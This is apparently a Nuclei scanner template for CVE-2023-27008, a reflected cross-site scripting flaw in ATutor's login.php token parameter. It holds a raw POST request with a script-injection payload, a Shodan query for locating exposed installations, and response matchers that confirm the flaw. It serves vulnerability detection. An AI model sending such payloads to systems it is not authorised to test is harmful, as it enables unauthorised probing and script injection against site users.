id: CVE-2023-27008 info: name: ATutor < 2.2.1 - Cross Site Scripting author: r3Y3r53 severity: medium description: | ATutor < 2.2.1 was discovered with a vulnerability, a reflected cross-site scripting (XSS), in ATtutor 2.2.1 via token body parameter. reference: - https://nvd.nist.gov/vuln/detail/CVE-2023-27008 - https://plantplants213607121.wordpress.com/2023/02/16/atutor-2-2-1-cross-site-scripting-via-the-token-body-parameter/ classification: cve-id: CVE-2023-27008 metadata: verified: "true" shodan-query: http.html:"Atutor" tags: cve,cve2023,xss,atutor http: - raw: - | POST /atutor/login.php HTTP/1.1 Host: {{Hostname}} Content-Type: application/x-www-form-urlencoded token=asdf");}alert(document.domain);+function+asdf()+{// matchers-condition: and matchers: - type: word part: body words: - ");}alert(document.domain); function" - "ATutor" - "Login" condition: and - type: word part: header words: - text/html - type: status status: - 200